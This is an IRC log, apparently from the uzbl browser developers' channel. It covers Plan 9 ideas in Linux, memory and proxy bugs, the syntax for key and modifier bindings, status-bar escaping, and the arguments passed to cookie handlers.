23:33 < MichaelRaskin> I'd say that accusing Linux of having _no_ innovation is a bit too harsh
23:34 < jrm8005> wait, report? you mean Anant's masters or whatever?
23:34 < jrm8005> yeah, he was younger and perhaps too idealistic and trash-talky
23:34 < jrm8005> Linux has obviously shown how scalable an OS can really be.
23:34 < jrm8005> it's turned conventional thinking of development processes on it's ear.
23:35 < jrm8005> I mean, even plan 9 didn't really invent much of anything.
23:35 < jrm8005> it just applied an ages-old paradigm to new things.
23:35 < jrm8005> that's not really innovation, in my book.
23:35 < MichaelRaskin> The FUSE alone has brought _lots_ to file systems.
23:36 < jrm8005> yeah, it's sad how a lot of plan9 people just shit on FUSE without even knowing it.
23:36 < jrm8005> I've kind of stopped them from doing it.
23:36 < MichaelRaskin> Although you can try to argue that in some sense some of the mainframes could do something that was generally based on the same ideas
23:36 < MichaelRaskin> Great
23:36 < MichaelRaskin> I hope that you stopped them from not knowing, too
23:36 < jrm8005> I've tried, but many of them are trolls.
23:37 < jrm8005> there are people who treat Rob like a god, but don't actually listen to him when he says ``everyone should use more than one OS and experience the merits and demerits of them''
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23:37 < jrm8005> there are a lot of things I like about Linux.. and that's why I've taken the time to help it by brining Plan 9's ideas to it.
23:38 < jrm8005> I really like the driver model in Linux, and the VFS.
23:38 < jrm8005> I think they've got the best ones out there.
23:38 < jrm8005> Plan 9 is awesome code, but it's very rigid... I like being able to kick out modules from the OS
23:38 < jrm8005> or insert them
23:38 < jrm8005> and not have them hogging space allll the time.
23:39 < azaghal> Just found out about the project from FSDaily. If this thing grows to be what I think it might be... Great way to create a fast lean browser that's extendable :)
23:40 < MichaelRaskin> jrm8005, I give up on reading the report. I will read the conference paper instead..
23:40 < jrm8005> azaghal: hopefully it will be less extensible and just better at communicating.
23:41 < jrm8005> MichaelRaskin: the report isn't that good. Anant isn't a great writer. I don't remember if the conference paper is better... I would say just dig into the source code.
23:41 < jrm8005> it's pretty easy to grok
23:41 < jrm8005> ignore the binfmt stuff, there's just some magic in there that doesn't matter.
23:42 < jrm8005> check out the actual syscalls and the beginnings of netfs
23:42 < jrm8005> (if you know network and kernel programming and are interested, we desperately need people to work on netfs)
23:42 < MichaelRaskin> Well, actually my brain went to panic mode.
23:42 < jrm8005> panic?
23:42 < MichaelRaskin> It explained to my will that it will not consider _that_ load of disinformation a source of information
23:43 < jrm8005> oh, Anant's paper?
23:43 < MichaelRaskin> Yes
23:43 < jrm8005> yeah... I've chided him about trolling like that.
23:43 < jrm8005> and Uriel.
23:43 < jrm8005> it's just immature.
23:44 < jrm8005> honestly, there is some decent info in there if you skip the first few pages, IIRC.
23:44 < MichaelRaskin> I tolerate immature well. While it does not make strong claims. That is, verifiable and wrong claims.
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23:44 < jrm8005> I agree.
23:44 < jrm8005> you might be interested that at one point, there was talk of totally eliminating GNU stuff from Glendix.
23:45 < MichaelRaskin> OK, I will try to read from 2.2
23:45 < jrm8005> it's just rampant, unnecessary NIH self-superiority crap
23:45 < jrm8005> I convinced them that we shoudl in no way be telling people what to do with Glendix, or preventing GNU from using Plan 9 idea.
23:46 < jrm8005> I hope people like and use netfs... it would be nice to see GNU adopt it instead of sockets. I'd love to see people able to do networking with shell scripts. To keep that alone for the 9fans is dumb.
23:47 < MichaelRaskin> jrm8005, it needs to be real good to gain momentum..
23:48 < MichaelRaskin> Because ncat is quite good for the task.
23:48 < jrm8005> MichaelRaskin: oh, it is
23:48 < Rodya> well darn, i found a bug -_-
23:48 < MichaelRaskin> I agree that it is a bit wrong approach, but it is unix-way
23:48 < MichaelRaskin> Rodya, backspace-on-Unicode-char crash?
23:48 < jrm8005> maybe less for shell scripts, but for servers, the whole 35 lines of code for socket stuff boils down to 1 line
23:48 < jrm8005> and from there, it's just plain read and write.
23:49 < jrm8005> other cool things about /net is that you can very easily share connections, forward them, and do NAT.
23:49 < Rodya> MichaelRaskin, i'm talking about my batch downloader
23:49 < jrm8005> just by importing files from other computers.
23:49  * dxdx notices that #uzbl is as offtopic as always and detaches the irssi session again
23:49 < jrm8005> I think that would sell it to a lot of people
23:49 < jrm8005> topics are for losers.
23:49 < MichaelRaskin> jrm8005, Oh..
23:50 < jrm8005> you know how annoying it would be if someone was having a conversation and people forced it to be `on topic'
23:50 < MichaelRaskin> It makes live migration of VMs easier!
23:50 < jrm8005> oh yes, much much easier
23:51 < jrm8005> same thing with graphics.
23:51 < MichaelRaskin> The world needs it working. That, and L4Linux. Better yet together.
23:51 < jrm8005> MichaelRaskin: that is our hope. If you're interested, we'd love help
23:51 < MichaelRaskin> I am interested in too many things..
23:51 < jrm8005> I hear you, same problem.
23:52 < jrm8005> I've let all my projects slip.
23:52 < jrm8005> if you get time, though, you're more than welcome :)
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23:54 < MichaelRaskin> Wow. After accusing Linux of all the mortal sins he is amazed at the fact that it can be patched to emulate Plan9. Just wow. Yes, Linux kernel is misdesigned, it shouldn't allow such subversion..
23:54 < jrm8005> lol
23:54 < jrm8005> exactly.
23:55 < jrm8005> actually, I wouldn't say that
23:55 < jrm8005> it's well designed in that respect, the way it handled interrupt vectors and syscalls.
23:55 < jrm8005> it's as easy as writing a friggin driver, and I think that's sweet. I hate having to pick a certain OS, emulating them all is amazing.
23:56 < jrm8005> same reason I like what Transmeta was going. I want to have my CPU emulate every other one so I never have to pick or worry about binaries.
23:56 < MichaelRaskin> Is your emulation x86-dependent in any way?
23:57 < Rodya> if anyone started using my batch downloader from the wiki already, i updated it on there with a small bug fix (i messed up an if statement and somehow managed to not notice)
23:58 < jrm8005> MichelRaskin: I do'nt know. I would think no, but I don't know.
23:58 < jrm8005> the thing is the interrupt vector stuff... although, maybe that's not portable.
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00:00 < Rodya> Dieterbe, should I upload the screenshots to some image host or is there a way to upload them to the wiki?
00:00 < Dieterbe> Rodya: the latter yes
00:01 < MichaelRaskin> It seems that ARM products for desktop use appear...
00:03 < MichaelRaskin> Erm, report suggests some 32bit-specific details..
00:03 < MichaelRaskin> I hope that only for clarity
00:05 < MichaelRaskin> Is it me or does sys_fd2path undefinable on Linux?
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00:06 < MichaelRaskin> I.e. first hardlink kills consistency of its definition?
00:07 < jrm8005> MichaelRaskin: links are evil
00:08 < MichaelRaskin> jrm8005, Now I understand why you are so unimpressed by Nix.
00:08 < MichaelRaskin> links are not evil, links are your friends
00:08 < jrm8005> no, they are evil.
00:08 < jrm8005> bind mounts. namespaces.
00:08 < jrm8005> down with symlinks. Plan 9 ftw
00:08 < MichaelRaskin> How is a dozen of bindmounts in each of a dozen namespaces persisted across reboots?
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00:09 < jrm8005> because you can query the namesapce and it will tell you how it was setup and it will save that and you put it in a profile.
00:09 < jrm8005> pretty automagically.
00:10 < MichaelRaskin> Hm.
00:10 < MichaelRaskin> I somehow do not believe that 100-component union mount will be faster than the same, but cached on-disk with symlinks
00:11 < jrm8005> MichaelRaskin: you'd be surprised. I was.
00:11 < MichaelRaskin> Hm.
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00:12 < MichaelRaskin> (I have experience with a fuse union of 100 directories. It was not exactly fast. And it was not the FUSE speed..)
00:13 < MichaelRaskin> jrm8005, your project will benefit a lot from having a paper not designed to scare off each and every GNU/Linux user.
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00:18 < jrm8005> yeah
00:18 < jrm8005> I've become our writer, so
00:18 < Rodya> Dieterbe, screenshots added
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00:31 < Dieterbe> Rodya: looks cool
00:32 < Rodya> =)
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00:50 < bct> does somebody have a valgrind suppression file for uzbl?
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01:43 < Rodya> Oh, that's a good feature idea for the batch downloader... An option to automatically skip duplicates (based on URI)
01:46 < Rodya> it might be a bit slow, though =/
01:46  * Rodya thinks
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01:53 < Rodya> <3 wget, --no-clobber makes my life easy
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04:03 < bct> rob|, i ran into a snag.
04:03 < bct> some variables you want to be HTML escaped before they're put into the status bar (e.g. the url)
04:04 < bct> but others you might not (e.g. status_message)
04:04 < bct> i'm not sure what to do about that.
04:05 < bct> maybe add a new syntax for expanding without escaping?
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07:02 < ruskie> http://sprunge.us/OVaP <-- hmm somewhat nasty
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07:04 < mason-l> ruskie, I cant leave an instance open for more than 12 hours without it climbing up to 500mb each or more.
07:11 < bct> ouch, that's definitely not right mason-l
07:14 < mason-l> bct, Indeed it isn't.
07:14 < bct> so is that leaving it open without doing anything in it?
07:14 < bct> or just with normal surfing?
07:15 < mason-l> Without doing anything in it.
07:15 < mason-l> It climbs by itself.
07:15 < bct> one site in particular, or any site?
07:15 < ruskie> any site
07:15 < mason-l> Any
07:15 < bct> weird.
07:16 < mason-l> Running on a 64-bit system.
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07:16 < bct> that's very strange. works fine on my 64-bit system, but that doesn't help you much.
07:16 < bct> do you have the segfault on wikipedia+some other pages as well?
07:17 < ruskie> when I woke up today free mem on this 2gb mem box was 64mb
07:17 < mason-l> I've just checked out the latest experimental and im going to leave uzbl_tabbed.py open with 10 tabs for a day and get back to you
07:22 < bct> i'm not seeing any noticeable increase in memory. my system just crashed (an unrelated X issue), before it crashed each uzbl instance was using about 40MB
07:23 < bct> and now the ones i restarted are using about the same.
07:23 < ruskie> well that paste is from my systems top
07:25 < bct> your paste isn't using much more than mine are, you're at ~60-70MB per instance.
07:25 < bct> which is a bit much, but nothing like 500MB.
07:26 < ruskie> yet my free mem was 64mb until I closed most of those
07:26 < ruskie> atm have 6 running and 1gb free
07:26 < ruskie> if I were to close the rest I'd get to around 1.8gb free
07:27 < bct> so do you have the wikipedia segfault too?
07:27 < bct> because that's another 64bit specific issue that only occurs on some machines
07:28 < ruskie> last time I tried no
07:29 < ruskie> yeah no segfault on wikipedia
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07:42 < Viaken> Is there a trick to getting a SOCKS proxy to work?
07:45 < Viaken> I can't having the connect fail.
08:02 < ruskie> I kinda get the feeling it's still not supported
08:02 < Viaken> Fair enough
08:03 < ruskie> atleast from my own experimentation with privoxy+tor
08:03 < ruskie> kept sending DNS resolve through normally
08:03 < ruskie> instead of through tor
08:03 < Viaken> I'm less worried about the DNS resolve, though that is preferred greatly.
08:04 < Viaken> But it doesn't work at all. :P
08:04 < Viaken> So, no worries, but the config file might want to remove mention of the ssh socks proxy technique until it works. ;) lol
08:05 < ruskie> well privoxy+tor worked to get the various tor checkers saying I'm running tor
08:05 < ruskie> but no .onion addys got resolved
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08:50 < jayzer> is there a config option to change the font of tabs in uzbl_tabbed?
08:58 < ruskie> gtk tabs or the other kind?
09:00 < jayzer> the other
09:02 < ruskie> hmm no clue
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10:03 < ruskie> hmmm I take it this is cookie name id and the content of the cookie everything after the first =: id=22099396f10000cf||t=1247385369|et=730|cs=dgq7olx5;
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13:29 < Mittagessen> hiho
13:30 < N30N> sup?
13:30 < Mittagessen> I have a problem with the dzen.sh script from the wiki
13:30 < Mittagessen> xwininfo: error: Invalid window id format: 0.
13:30 < Mittagessen> xwininfo: error: Invalid window id format: 0.
13:30 < Mittagessen> xwininfo: error: Invalid window id format: 0.
13:30 < Mittagessen> xwininfo: error: Invalid window id format: 0.
13:30 < Mittagessen> usage: dzen2 [-v] [-p [seconds]] [-m [v|h]] [-ta <l|c|r>] [-sa <l|c|r>] [-x <pixel>] [-y <pixel>] [-w <pixel>] [-tw <pixel>] [-u]  [-e <string>] [-l <lines>]  [-fn <font>] [-bg <color>] [-fg <color>] [-xs <screen>]
13:30 < Mittagessen> that's what I get
13:31 < Mittagessen> obviously the workaround in the script doesn't work
13:31 < Mittagessen> $XID isn't set IMHO
13:34 < Mittagessen> when I run wmctrl by hand I get a z-winid
13:34 < Mittagessen> s/z-winid/x-winid
13:39 < ruskie> hmm if a cookie has a sub.domain.tld it's only valid there... can there be a .sub.domain.tld?
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13:42 < Mittagessen> interesting. the pid uzbl gives dzen.sh is 5118 while the PID that wmctrl associates with the window is 3682
13:44 < N30N> Mittagessen: just checked, at they do indeed not match
13:45 < Mittagessen> is there another way to get the window id from a PID?
13:47 < N30N> opps did $3, PID is correct for me
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13:53 < Allive> can someone tell me how can i bind [F]-keys ?
13:54 < Dieterbe> not possible (yet)
13:55 < Mittagessen> N3ON, the $PID uzbl sets is right but the PID wmctrl gives me for uzbl is wrong
13:56 < Mittagessen> could it be that I use OpenBox?
13:56 < Mittagessen> the man page for wmctrl says it's for EWMH/NetWM compatible WMs
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14:00 < N30N> Mittagessen: I don't know how well openbox suppots it
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16:26 < mason-l> Dieterbe, Adding function keys support should be pretty easy afaik. Just make each function key write the string <F1>, <F2>, ..., <Fn> to the command line and users can then use <Fn> in their config file to bind to function keys. Is that feasible?
16:30 < Dieterbe> uhm.. what? make function keys write strings?
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16:36 < mason-l> Dieterbe, Yeah. Interpret a function key press as someone typing <Fn> into the command line.
16:37 < mason-l> Then an example binding: bind <F2>g = set uri http://google.com/
16:37 < Dieterbe> i think you are mixing up representation of keys and how to listen for them
16:38 < Dieterbe> afaict an application gets the signals from Xorg and just needs to check which keysym it is
16:39 < mason-l> Yes yes and all that but mine was an idea on how to easily handle such an event.
16:39 < mason-l> :)
16:39 < krayon> Dieterbe: The reason he might be taking that route is that you can't process data easily without modifying the function (as I did for mouse support)
16:40 < krayon> At least I don't think you can :P
16:50 < rob|> well, we should use the same strings as used in /usr/include/X11/keysymdef.h, than we can simply do XStringToKeysym(string_from_config) to get the keysym
16:52 < rob|> probably gdk provides something similar
16:55 < krayon> GDK_F1
16:55 < krayon> gdk_keyval_from_name
16:56 < mason-l> >>> print gtk.gdk.keyval_from_name('F1') -> 65470
16:59 < rob|> yep, we should store all those bindings in an array/hash and iterate over that in key_press_cb()
17:00 < mason-l> And I just checked it out: F1 = 65470 ... F35 = 65504 (the max function key range afaik)
17:01 < holizz> Where's my F35 key? I'm unsatisfied with my current keyboard now.
17:01 < mason-l> My keyboard has F1 to F16 :)
17:01 < mason-l> But nothing like F35.
17:02 < mason-l> I mean F1 to F15
17:03 < Mittagessen> OK I found out why this stuff didn't work
17:04 < Mittagessen> when you use tabs your tab PID and the PID associated with the window doesn't match ^^
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17:06 < mason-l> Mittagessen, What were you playing with?
17:07 < mason-l> The tab "PID" isn't a PID, it's an index.
17:09 < mason-l> Wait (reading the log) you aren't talking about uzbl_tabbed.py, disregard the above.
17:11 < Dieterbe> what do you guys use for feedreading?
17:11 < Phillemann> newsbeuter
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17:12 < krayon> Dieterbe: sunrise -> plucker (on Palm Treo 680 phone)
17:12 < Dieterbe> Phillemann: is it still useful if you want to follow feeds with html content? and sometimes even embedded videos and such
17:13 < krayon> But sunrise can do some cool local system viewing too IIRC
17:13 < Phillemann> Dieterbe: Since it's ncurses-based definitely not. It supports simple tags like <b></b>, though.
17:14 < Dieterbe> Phillemann: ah, i thought i read somewhere you could assign binds to open posts with other programs (eg uzbl)
17:15 < Phillemann> Yes, you can do that. I thought you wanted to look at those videos in the feed reader itself.
17:15 < Dieterbe> ideally, yes
17:15 < Mittagessen> I was talking about uzbl_tabbing.py
17:16 < Dieterbe> ideally i would just use scripts to download content from feeds and uzbl to read the posts, along with some keybinds to go to next post and such
17:16 < Mittagessen> and I just realized that dzen.sh doesn't work with the current tab implementation
17:16 < Phillemann> Dieterbe: I'm pretty sure there are generators to do just that.
17:18 < N30N> Dieterbe: I use canto for feeds http://codezen.org/canto/
17:19 < Phillemann> "It's meant to allow you to crank through feeds like you've never cranked before" - hehe
17:20 < Dieterbe> N30N: whoa looks nice
17:21 < Dieterbe> just one thing i don't understand
17:21 < Dieterbe> Built in reader with full HTML parser and providing access to all links and enclosures (video/audio) in an item
17:21 < Dieterbe> how does that work? it being ncurses
17:24 < Phillemann> Maybe it's converted to ascii art.
17:25 < krayon> aalib/caca ftw
17:25 < N30N> neh you can just open the images with you image viewer (you could make it do ascii if you wanted tho, it's very customizable)
17:28 < Dieterbe> hmm shit, i want something that can render inline
17:31 < N30N> Dieterbe: someone is bound yo make a uzbl feeds script some of these days ;)
17:31 < N30N> s/yo/to/
17:31 < N30N> s/\bsome/one/
17:31 < Dieterbe> yeah
17:32 < scj> could just use xlst to render rss feeds as html
17:33 < Dieterbe> canto is +/- 4100 lines. i'm thinking about embedding uzbl in canto with Xembed
17:33 < Dieterbe> too bad i'm very limited in python :P
17:34 < Dieterbe> hmm wait. embedding probably wont work
17:34 < Dieterbe> since it's not Gtk
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18:01 < rob|> sent my geometry pull request..
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18:21 < Dieterbe> rob|: 
18:21 < Dieterbe> -dump_config() { //ADD "result" var so we can use this with uzblctrl
18:21 < Dieterbe> +dump_config() {
18:22 < Dieterbe> did you mean "TODO: Add ..." ?
18:22 < rob|> yeah, right
18:22 < rob|> forgot about that..
18:22 < Dieterbe> np, i'll change it
18:23 < Dieterbe> ugh i hate it, when i do `git merge --no-commit` then sometimes git _does_ the commit :/
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18:27 < Dieterbe> hmm odd
18:27 < Dieterbe> rob|: when i do uzbl -g, it tries to url 'http://-g'
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18:28 < krayon> Dieterbe: holizz did a make open a url on cmd thing
18:28 < Dieterbe> uzbl -g foo doesn't do much
18:28 < rob|> uh? strange, doesn't do that for me
18:28 < krayon> Could be that
18:28 < Dieterbe> krayon: hmm indeed, but rob did this on top of my most recent code
18:28 < rob|> Dieterbe: it won't work on tiling WMs
18:29 < Dieterbe> yeah iknow
18:29 < Dieterbe> but i expect it at least to write to stderr
18:29 < holizz> uzbl doesn't have a -g option.
18:29 < Dieterbe> holizz: since one minute ago, it has ;)
18:29 < holizz> orly?
18:29 < Dieterbe> YRLY
18:32 < ruskie> :)
18:33 < scj> wat is -g?
18:33 < ruskie> geometry
18:33 < scj> oh
18:34 < Dieterbe> rob|: so when you do uzbl -g and uzbl -g foo, what happens? it gives errors?
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18:48 < bct> rob|, my replace-expand-template branch is almost pullable
18:48 < bct> i'm not sure what to do about escaping expanded variables in the status bar though
18:49 < bct> i see that the updated example config puts html into @status_message, so that shouldn't be escaped
18:49 < bct> but other things (values coming from a site) should be.
18:53 < bct> i can think of 2 solutions, 1. expand() is aware of variable names and knows which ones to escape
18:54 < bct> and 2. some special syntax for "this variable shouldn't be escaped when it is expanded". e.g. @{*status_message}
18:54 < bct> but i don't like either one.
19:02 < Dieterbe> the markup in statusformat is not html, though it resembles it a lot
19:03 < Dieterbe> also, i think your option 2 is best.  escaping of variables should not be dependent on the variable itself, but on the situation where you want to use it
19:04 < bct> any preference for the syntax?
19:04 < bct> what it should look like, i mean.
19:05 < Dieterbe> what you said doesn't look too bad. but i'm wondering if we couldn't make this more generic
19:06 < Dieterbe> eg forsee an "escape" function, and then allow using that function in the config
19:06 < Dieterbe> @<escape(@status_message)>
19:06 < Dieterbe> something like that?
19:07 < bct> i think it should go the opposite direction, things are escaped by default and some syntax means put them through raw.
19:07 < bct> because most things in the status bar should be escaped.
19:09 < rob|> diet's idea is not too bad as we could also escape @(..)@ and @<..>@ that way
19:11 < bct> your 'set status bar ' line would end up looking very ugly, but maybe that's ok. only the status bar really needs *ml escaping
19:11 < rob|> yep, exactly
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19:12 < rob|> maybe @[string that needs escaping]@
19:13 < ruskie> hmmm
19:13 < ruskie> if I do uzbl -u http://www.freshmeat.net then the host provided back is http://www.freshmeat.net
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19:14 < ruskie> if I do uzbl -u www.freshmeat.net then the host provided back is www.freshmeat.net
19:14 < ruskie> I would kinda expect to see the same host returned on both... i.e. if it's assumed it's http://www.freshmeat.net then it should return that
19:15 < Dieterbe> bct> i think it should go the opposite direction, things are escaped by default and some syntax means put them through raw. <-- escaping is _always_ depending on context. (eg "where do i want to use this"), so it should be implemented in a way that you can easily change the behaviour depending on context
19:19 < Allive> why scroll_vert 250, scroll_end, and so on, don't work on gmail and greader ?
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19:20 < github> uzbl: Tassilo Horn experimental SHA1-bbe8e80
19:20 < github> Respect the value of $VISUAL for the formfiller.sh if it is set.
19:20 < github> http://bit.ly/153J96
19:20 < github> uzbl: Tassilo Horn experimental SHA1-33e1b2b
19:20 < github> use $VISUAL in formfiller.sh
19:20 < github> http://bit.ly/H422L
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19:21 < Dieterbe> ruskie: 'http://' should not be part of the hostname, that's a bug
19:22 < bct> set status_format = <span>\@[\@uri]\@</span> <span>\@status_message</span>
19:23 < bct> is what it would end up looking like. that's not too bad.
19:24 < rob|> indeed, we just need to document this by an good example that should make things clear
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19:28 < krayon> Any thoughts on handling modifiers atm?
19:28 < krayon> For example, how would one represent CTRL-F1?
19:28 < krayon> Or, SHIFT-Mouse1?
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19:29 < rob|> <ctrl><f1>  <- and we assume the modifier to be held pressed until a new modifier is specified or '\n' is read.
19:29 < rob|> thios should also handle things like '<ctrl>foo<alt><f2>' correctly
19:30 < ruskie> Dieterbe, param 9 when given to the cookie handler... also you need to know if it's http or https for cookies.txt
19:31 < tsdh> rob|: Can I also bind mouse buttons?
19:31 < Dieterbe> ruskie: a hostname is a hostname. it should not contain a protocol specifier
19:32 < ruskie> Dieterbe, well if you say that parameter 9 is a hostname then ok... then you're missing a way to tell the cookie handler if you're on a secure connection or not
19:32 < krayon> rob|: Has any code been done already to handle this?  If not it would have to take the current "modkey" into account somehow too :/
19:33 < Dieterbe> rob|: that sounds tricky to me. what if someone wants hold_ctrl(F1) + foo ? eg only keep control pressed for the first key, and release before hitting the 2nd key
19:33 < Dieterbe> ruskie: could be
19:33 < rob|> Dieterbe: but the var 'uri' holds an uri as the name suggest..
19:33 < holizz> ruskie, The problem here is that $6 (the current URI, IIRC) doesn't get set properly until after the notify::uri signal is fired, meaning that it can be "gmail.com" if you type in "o gmail.com", etc..
19:33 < ruskie> Dieterbe, I find it easier if the full URL with protocol is passed then one can easily do a quick compare in the cookie handler
19:34 < ruskie> also I would see this is less a borkage as adding an extra field for the protocol
19:34 < ruskie> of course a separate protocol field would be cleaner though
19:34 < Dieterbe> rob|: ?? we're talking about cookie handler $9, which is a host
19:34 < rob|> Dieterbe: ah ok, my fault..
19:35 < ruskie> hmm
19:35 < ruskie> or was it $6
19:35 < rob|> krayon: i'm not aware of any already written code for that
19:35 < Dieterbe> ruskie: and can't you use the variable for the uri to deduce http vs https?
19:36 < krayon> Is will be tricky to fully implement whilst retaining the current modkey functionality I would think :(
19:36 < ruskie> Dieterbe, meant $6 even
19:36 < ruskie> not $9
19:37 < ruskie> $9 is correct
19:37 < Dieterbe> ruskie: well $6 should always contain the protocol i think
19:37 < ruskie> it doesn't
19:37 < Dieterbe> then you found a bug
19:37 < ruskie> uzbl/uzbl_socket_77594677' 'www.freshmeat.net' '' 'PUT' 'freshmeat.net' '/' <-- example
19:38 < holizz> ruskie, This is a know issue (I know about it, at least).
19:38 < rob|> krayon: why? you would just check for all set modifiers when in insert mode
19:39 < Dieterbe> rob|: so what if the user wants to press a key with a modkey held, then release modkey, then press another key?
19:39 < rob|> well, we could introcude <nomod> or something if that's really needed
19:40 < Dieterbe> rob|: what a about: ctrl(f1) ? eg wrap things in 'modkey()' stuf
19:41 < rob|> that requires escaping
19:44 < Dieterbe> or hey..
19:44 < scj> <modN+X>?
19:45 < rob|> what about '<modN>+'?
19:45 < Dieterbe> <ctrl><f1><foo> <-- hold ctrl while typing f1 and foo.  <ctrl><f1> <foo> <-- release ctrl before typing foo. note the space !
19:45 < rob|> ^^scj?
19:46 < scj> since stuff between <..> will get interpreted anyway
19:47 < rob|> yeah, but how would you denote 'mod+'? <mod++> ?
19:47 < scj> <mod+?> and <mod++>
19:47 < scj> denoting mod+< and mod+> is the problem
19:49 < scj> actually, I guess we'd want to allow something like <ctrl+mod+x> aswell, so <mod++> wouldn't be a good idea
19:50 < rob|> using 2 characters+one for escaping for enclosing the key strings would solve that, though
19:50 < rob|> that's why i used @(..)@ for command substitution
19:51 < rob|> %<mod1-<>%
19:52 < rob|> etc.
20:01 < rob|> so we could even add that to expand and allow to have variable expansion and all sort of fancy stuff in the LHS of bindings
20:02 < rob|> *sorts
20:02 < rob|> like: bind %<MOD>%@custom_var foo = bar baz
20:09 < rob|> that would also be cool if you'd want to change the modifier of many bindings with a single setting: 'bind %<@modkey>%bla = soemthing'
20:10 < rob|> set modkey = CTRL
20:10 < rob|> similar to vim's 'leader' thing, or whatever it's called
20:26 < Dieterbe> hmmm.. isn't this what Xorg's variable Mod1, Mod2 and Mod3 are for?
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20:30  * ruskie get's lost in this conversation and only knows he wants to do ctrl+i and alt+,/.
20:31 < ruskie> btw Dieterbe applied my patch yet?
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20:32 < krayon> Anyone know of a gdk function to convert from a keysym to a modmask?
20:35 < rob|> well, why would you need that? just register all modifiers and then check for those set in the bindings..
20:42 < krayon> rob|: I'm not sure what you mean exactly sorry :/
20:43 < rob|> look at dwm's source code and how it handles modifiers that should get you a pretty good idea
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20:57 < krayon> rob|: That way only supports a single set of modifiers for any given key though.
20:59 < ruskie> ; (gtk_accel_path "<Actions>/KzWindow/NewTab" "<Control>t") <-- hmm this is what kazehakase uses for keybindings
21:13 < Dieterbe> ruskie: nope. please do a pull request
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21:23 < ruskie> Dieterbe, there's a bug with the patch attached
21:23 < ruskie> I would consider that enough of a pull request
21:24 < Dieterbe> ok, url?
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21:30  * holizz is fixing cookies.py
21:32 < ruskie> Dieterbe, FS#62
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21:34 < ruskie> http://www.uzbl.org/bugs/index.php?do=details&task_id=62
21:38 < Dieterbe> ruskie: hmmmz http://pastebin.ca/index.php
21:38 < ruskie> ???
21:39 < ruskie> what am I supposed to do with that?
21:40 < Dieterbe> well, the patch does not apply cleanly. can you try merging my latest experimental stuff into your branch and making a new patch?
21:40 < ruskie> I mean you just gave me an index.php pastebin ;)
21:40 < ruskie> no content ;)
21:41 < holizz> cookies.py is now working flawlessly (as far as I can tell) - i.e. it works with gmail.com and Facebook.
21:41 < ruskie> Dieterbe, well the patch is against master
21:42 < ruskie> I guess I need to actually make my own git tree for it
21:43 < Dieterbe> ruskie: oops sorry
21:43 < Dieterbe> ruskie: http://pastebin.ca/1492968
21:44 < Dieterbe> ruskie: i hate it that pastebin.ca goes to the index page after pasting something in it, i often make the mistake of copying the wrong url :)
21:44 < Dieterbe> holizz: that sounds sweet
21:44 < Dieterbe> ruskie: you should develop against experimental btw
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21:47 < holizz> Dieterbe, It's good. But we need to change the arguments sent to cookie handlers - ATM they don't know if the URI is http or https because they only get the domain and path.
21:47 < ruskie> holizz, only $6 needs fixing there iirc
21:48 < ruskie> Dieterbe, ok wasn't aware... I'll set my repo up and will do it that way not that I'll have much to contribute
21:49 < holizz> ruskie, $6 is the URI of the current _page_. The URI of the resource (i.e. an image, JS, CSS) is never sent in full to the cookie_handler (but it gets the domain/path of the resource).
21:49 < ruskie> btw Dieterbe: cat file |curl -F 'sprunge=<-' http://sprunge.us <-- and you will get a pasted url back ;)
21:50 < Dieterbe> ruskie: you don't _need_ to set up a git repo, as long as your patch applies to my latest experimental i happy
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21:50 < Dieterbe> ruskie: but of course, it's smartest to set up a git repo :)
21:51 < ruskie> well easy to setup since I already have plenty of them ;)
21:51 < Dieterbe> okay then
21:51 < ruskie> I'll probably get to it sometime this week
21:52 < Dieterbe> k
21:54 < bct> rob|, ok i think my replace-expand-template branch is ready to go.
21:54 < bct> README and example config updated.
21:55 < bct> if anybody's bored, it could use some testing :)
21:57 < bct> eliminated at least 100 lines of code, and a lot of redundancy.
21:57 < bct> gotta go, talk to you cats later.
21:57 < holizz> Okay, everybody - I want to change the arguments given to cookie_handlers. I'm going to replace DOMAIN and PATH with just the full URI. This will require changing all the cookie_handler scripts in existance. Any objections?
21:58 < ruskie> why not just replace domain with the protocl+domain
21:58 < ruskie> and leave the path as is
21:58 < Dieterbe> bct: that's great. the lesser sloc, the better :)
21:58 < rob|> bct: very cool, will look at it in a moment
21:58 < Dieterbe> holizz: whoaa wait a second
21:59 < Dieterbe> holizz: URI = <protocol><host><path> afaik
21:59 < holizz> Dieterbe, Yes. But we're not sending the protocol at the moment.
22:00 < Dieterbe> okay, we should address that yes
22:00 < ruskie> domain having protocol would solve it I'd say
22:00 < holizz> And if we added the protocol, that would require changing all the handlers anyway... so why not just use real URIs?
22:00 < Dieterbe> the reason i initially separated host and path was because i thought it would be easier (no parsing needed)
22:00 < Dieterbe> but that's not a very good argument i guess
22:00 < ruskie> I agree on that...
22:00 < ruskie> no parsing or very simple parsing needed
22:01 < Dieterbe> otoh, i think with a simple sed or something you can separate all parts
22:01 < Dieterbe> so it's a small thing
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22:01 < github> uzbl: Dieter Plaetinck experimental SHA1-e57f902
22:01 < github> document bugreporting
22:01 < github> http://bit.ly/Mo24a
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22:03 < holizz> Indeed. It's either going to be messy for scripts which can't parse real URIs, or for ones with URI parsers. And if we're being messy we may as well be 'correct'.
22:04 < Dieterbe> so you suggest separate vars?
22:04 < holizz> Me? No, I suggest just sending the URI.
22:04 < ruskie> I suggest separation ;)
22:05 < ruskie> but I guess other then avoiding needing extra parsing in the handler
22:06 < krayon> I'd go with URI because in nearly any scripting language it's trivial to get to a host, if you ever wanted one.
22:07 < ruskie> I'm mostly thinking how expensive it is to run something like this through sed in shell
22:07 < Dieterbe> that's also a good point. in fact this issue is so silly and it doesn't really matter anyway, i suggest that we do what you seem to see most in other scripts/tools
22:08 < Dieterbe> ruskie: bash has a lot of builtins for string stuff
22:08 < ruskie> it's also a lot slower than dash por example
22:08 < Dieterbe> there's also the basename and dirname stuff which is quite lightweight in sh
22:08 < ruskie> erm s/por/for/
22:08 < ruskie> true
22:10 < krayon> Yeah as Dieterbe there are builtins eg: ${1#*//}
22:10 < Dieterbe> hmm dirname and basename don't seem to work for this stuff. i thought i used them once for url's an such though :/
22:11 < Dieterbe> you know what, let's just go for separate vars
22:11 < holizz> DOMAIN=$(echo $URI | cut -d/ -f3)
22:11 < Dieterbe> it will be most performant and there are no real disadvantages
22:11 < holizz> PATH=/$(echo $URI | cut -d/ -f4-)
22:12 < holizz> Dieterbe, Then how about DOMAIN, PATH, URI as the args?
22:14 < Dieterbe> i would make them 3 separate args
22:15 < Dieterbe> (sorry i'm changing my mind all the time :)
22:15 < holizz> So http:// twitter.com / then?
22:15 < Dieterbe> technically i don't think you need the '://'
22:17 < holizz> That's right.
22:19 < Dieterbe> but, would we strip the '://' part in uzbl itself? that also seems a bit weird
22:20 < holizz> Dieterbe, soup_uri->scheme.
